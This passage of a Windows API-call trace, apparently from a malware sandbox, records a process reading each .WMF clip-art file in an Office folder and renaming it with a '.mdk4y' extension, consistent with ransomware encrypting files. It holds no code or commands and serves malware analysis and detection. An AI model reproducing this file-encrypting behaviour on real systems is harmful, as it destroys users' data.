dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0165.469] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824069900000) returned 1 [0165.469] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xa4e, lpOverlapped=0x0) returned 1 [0165.495] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824072500000) returned 1 [0165.495] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824072500000) returned 1 [0165.501] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241037.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241037.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241037.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241037.wmf.mdk4y")) returned 1 [0165.502] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0165.502] AreFileApisANSI () returned 1 [0165.503] GetACP () returned 0x4e4 [0165.503] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0241041.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0241041.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0165.503] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241041.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241041.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0165.503] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824073300000) returned 1 [0165.504] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x926, lpOverlapped=0x0) returned 1 [0165.505] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824073500000) returned 1 [0165.505] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824073500000) returned 1 [0165.506] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241041.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241041.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241041.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241041.wmf.mdk4y")) returned 1 [0165.506] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0165.507] AreFileApisANSI () returned 1 [0165.507] GetACP () returned 0x4e4 [0165.507] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0241043.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0241043.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0165.507] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241043.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241043.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0165.507] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824073700000) returned 1 [0165.507] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xab2, lpOverlapped=0x0) returned 1 [0165.595] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824082500000) returned 1 [0165.595] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824082500000) returned 1 [0165.596] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241043.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241043.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241043.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241043.wmf.mdk4y")) returned 1 [0165.597] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0165.597] AreFileApisANSI () returned 1 [0165.597] GetACP () returned 0x4e4 [0165.597] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0241077.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0241077.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0165.597] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241077.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241077.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0165.598] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824082800000) returned 1 [0165.598] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x82a, lpOverlapped=0x0) returned 1 [0165.627] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824085700000) returned 1 [0165.627] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824085700000) returned 1 [0165.628] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241077.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241077.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241077.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241077.wmf.mdk4y")) returned 1 [0165.629] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0165.629] AreFileApisANSI () returned 1 [0165.629] GetACP () returned 0x4e4 [0165.629] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0241773.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0241773.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0165.629] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241773.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241773.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0165.630] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824086000000) returned 1 [0165.630] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xcbe, lpOverlapped=0x0) returned 1 [0165.635] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824086500000) returned 1 [0165.635] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824086500000) returned 1 [0165.635] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241773.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241773.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241773.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241773.wmf.mdk4y")) returned 1 [0165.636] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0165.636] AreFileApisANSI () returned 1 [0165.636] GetACP () returned 0x4e4 [0165.636] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0241781.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0241781.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0165.636] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241781.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241781.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0165.637] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824086700000) returned 1 [0165.637] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x7b2, lpOverlapped=0x0) returned 1 [0165.645] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824087500000) returned 1 [0165.645] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824087500000) returned 1 [0165.646] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241781.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241781.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241781.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241781.wmf.mdk4y")) returned 1 [0165.647] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0165.647] AreFileApisANSI () returned 1 [0165.647] GetACP () returned 0x4e4 [0165.647] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0250504.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0250504.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0165.647] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0250504.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0250504.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0165.647] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824087700000) returned 1 [0165.647] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x7938, lpOverlapped=0x0) returned 1 [0165.656] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824089000000) returned 1 [0165.660] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824089000000) returned 1 [0165.661] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0250504.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0250504.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0250504.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0250504.wmf.mdk4y")) returned 1 [0165.662] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0165.662] AreFileApisANSI () returned 1 [0165.662] GetACP () returned 0x4e4 [0165.662] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0250997.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0250997.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0165.662] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0250997.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0250997.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0165.663] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824089300000) returned 1 [0165.663] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x6958, lpOverlapped=0x0) returned 1 [0165.777] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824100700000) returned 1 [0165.777] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824100700000) returned 1 [0165.778] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0250997.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0250997.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0250997.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0250997.wmf.mdk4y")) returned 1 [0165.779] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0165.779] AreFileApisANSI () returned 1 [0165.779] GetACP () returned 0x4e4 [0165.779] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0251007.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0251007.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0165.779] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0251007.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0251007.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0165.780] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824101000000) returned 1 [0165.780] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1100c, lpOverlapped=0x0) returned 1 [0165.799] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824102900000) returned 1 [0165.799] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824106000000) returned 1 [0165.832] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0251007.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0251007.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0251007.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0251007.wmf.mdk4y")) returned 1 [0165.833] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0165.833] AreFileApisANSI () returned 1 [0165.833] GetACP () returned 0x4e4 [0165.834] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0252629.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0252629.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0165.834] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0252629.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0252629.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0165.835] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824106500000) returned 1 [0165.835] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xae2, lpOverlapped=0x0) returned 1 [0165.852] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824108200000) returned 1 [0165.852] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824108200000) returned 1 [0165.852] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0252629.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0252629.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0252629.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0252629.wmf.mdk4y")) returned 1 [0165.854] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0165.854] AreFileApisANSI () returned 1 [0165.854] GetACP () returned 0x4e4 [0165.854] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0252669.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0252669.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0165.854] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0252669.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0252669.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0165.854] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824108400000) returned 1 [0165.854] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xf56, lpOverlapped=0x0) returned 1 [0165.874] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824110400000) returned 1 [0165.875] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824110500000) returned 1 [0165.875] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0252669.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0252669.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0252669.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0252669.wmf.mdk4y")) returned 1 [0165.876] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0165.876] AreFileApisANSI () returned 1 [0165.876] GetACP () returned 0x4e4 [0165.876] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0278702.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0278702.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0165.876] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0278702.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0278702.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0165.877] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824110700000) returned 1 [0165.877] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xf6a, lpOverlapped=0x0) returned 1 [0165.900] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824113000000) returned 1 [0165.900] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824113000000) returned 1 [0165.901] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0278702.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0278702.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0278702.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0278702.wmf.mdk4y")) returned 1 [0165.902] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0165.902] AreFileApisANSI () returned 1 [0165.902] GetACP () returned 0x4e4 [0165.902] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0279644.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0279644.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0165.902] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0279644.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0279644.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0165.903] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824113300000) returned 1 [0165.903] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x4330, lpOverlapped=0x0) returned 1 [0165.985] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824121500000) returned 1 [0165.985] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824121500000) returned 1 [0165.986] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0279644.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0279644.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0279644.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0279644.wmf.mdk4y")) returned 1 [0165.987] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0165.987] AreFileApisANSI () returned 1 [0165.988] GetACP () returned 0x4e4 [0165.988] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0280468.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0280468.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0165.988] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0280468.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0280468.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0165.988] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824121800000) returned 1 [0165.989] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x11dee, lpOverlapped=0x0) returned 1 [0165.994] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824122400000) returned 1 [0165.994] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824122400000) returned 1 [0165.999] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0280468.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0280468.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0280468.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0280468.wmf.mdk4y")) returned 1 [0166.000] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0166.000] AreFileApisANSI () returned 1 [0166.000] GetACP () returned 0x4e4 [0166.000] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0281008.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0281008.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0166.000] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281008.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281008.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0166.001] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824123100000) returned 1 [0166.001] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x94c4, 